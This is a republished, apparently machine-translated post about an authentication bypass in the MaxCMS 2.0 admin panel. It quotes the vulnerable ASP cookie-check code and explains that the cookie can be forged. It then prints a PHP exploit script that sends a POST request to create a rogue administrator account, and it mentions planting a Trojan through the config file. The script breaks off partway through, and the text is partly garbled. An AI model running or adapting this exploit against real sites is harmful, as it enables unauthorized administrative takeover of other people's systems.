Maxcms administrator Authentication Bypass Vulnerability

Source: Internet
Author: User
The maxcms background has an automatic upgrade function. The ajax injection is fixed, but this vulnerability is not fixed yet. In the previous post, a student asked if the authentication could be bypassed. The answer is yes, but the premise is that you need to know the background directory address to review the vulnerability code SubcheckPowerdimloginValidate, rsObj: loginValidatemaxcms2.0err. clear.

The maxcms background has an automatic upgrade function. The ajax injection is fixed, but this vulnerability is not fixed yet.
I posted a post asking if I can bypass the authentication. The answer is yes, but the premise is that I need to know the background directory address.

Review the vulnerability code

 
 
  1. Sub checkPower  
  2.     dim loginValidate,rsObj : loginValidate = "maxcms2.0" 
  3.     err.clear  
  4.     on error resume next  
  5.     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username=\'"&rCookie("m_username")&"\'","execute")  
  6.     loginValidate = md5(getAgent&getIp&rsObj(0))  
  7.     if err then wCookie "check"&rCookie("m_username"),"" : die "《script》top.location.href=\'index.asp?action=login\';《script》" 
  8.     if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "《script》top.location.href=\'index.asp?action=login\';《script》" 
  9.     checkManagerLevel  rsObj(1)  
  10.     set rsObj=nothing  
  11. End Sub 

Where

 
 
  1. Function rCookie(cookieName)  
  2.     rCookie = request.cookies(cookieName)  
  3. End Function 

The key is that the value of this variable is loginValidate = md5 (getAgent & getIp & rsObj (0 ))
You can easily bypass this authentication code through cookie forgery. Then you can add a new Administrator or modify the configuration file to insert a Trojan

Here I will post an exp for adding a new Administrator.

 

 
 
  1. php  
  2. print_r(\'  
  3. +---------------------------------------------------------------------------+  
  4. maxcms2.0 creat new admin exploit  
  5. by Flyh4t  
  6. team:wolvez security team  
  7. site:bbs.wolvez.org  
  8. dork:salemax#qq.com  
  9. +---------------------------------------------------------------------------+  
  10. \');  
  11.  
  12. if ($argc < 3) {  
  13.     print_r(\'  
  14. +---------------------------------------------------------------------------+  
  15. Usage: php \'.$argv[0].\' host path  
  16. host:      target server (ip/hostname)  
  17. path:      path to maxcms  
  18. Example:  
  19. php \'.$argv[0].\' localhost /maxcms2/   
  20. +---------------------------------------------------------------------------+  
  21. \');  
  22.     exit;  
  23. }  
  24.  
  25. error_reporting(7);  
  26. ini_set(\'max_execution_time\', 0);  
  27.  
  28. $host = $argv[1];  
  29. $path = $argv[2];  
  30. $name = rand(1,10000);  
  31. $cmd = \'m_username=flyh4t\'.$name.\'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0\';  
  32.  
  33. $resp = send($cmd);  
  34. if (!eregi(\'alert\',$resp)) {echo"[~]bad luck,exploit failed";exit;}  
  35.  
  36. print_r(\'  
  37. +----------------------------------------------------- 
  38. [+]cool,exploit seccuss  
  39. [+]you have add a new adminuser flyh4t\'.$name.\'/wolvez  
  40. +--------------------------------------------------------
  41. \');  
  42.  
  43.  
  44. function send($cmd)  
  45. {  
  46.     global $host, $path;  
  47.     $message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1rn";  
  48.     $message .= "Accept: */*rn";  
  49.     $message .= "Referer: http://$host$pathrn"
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.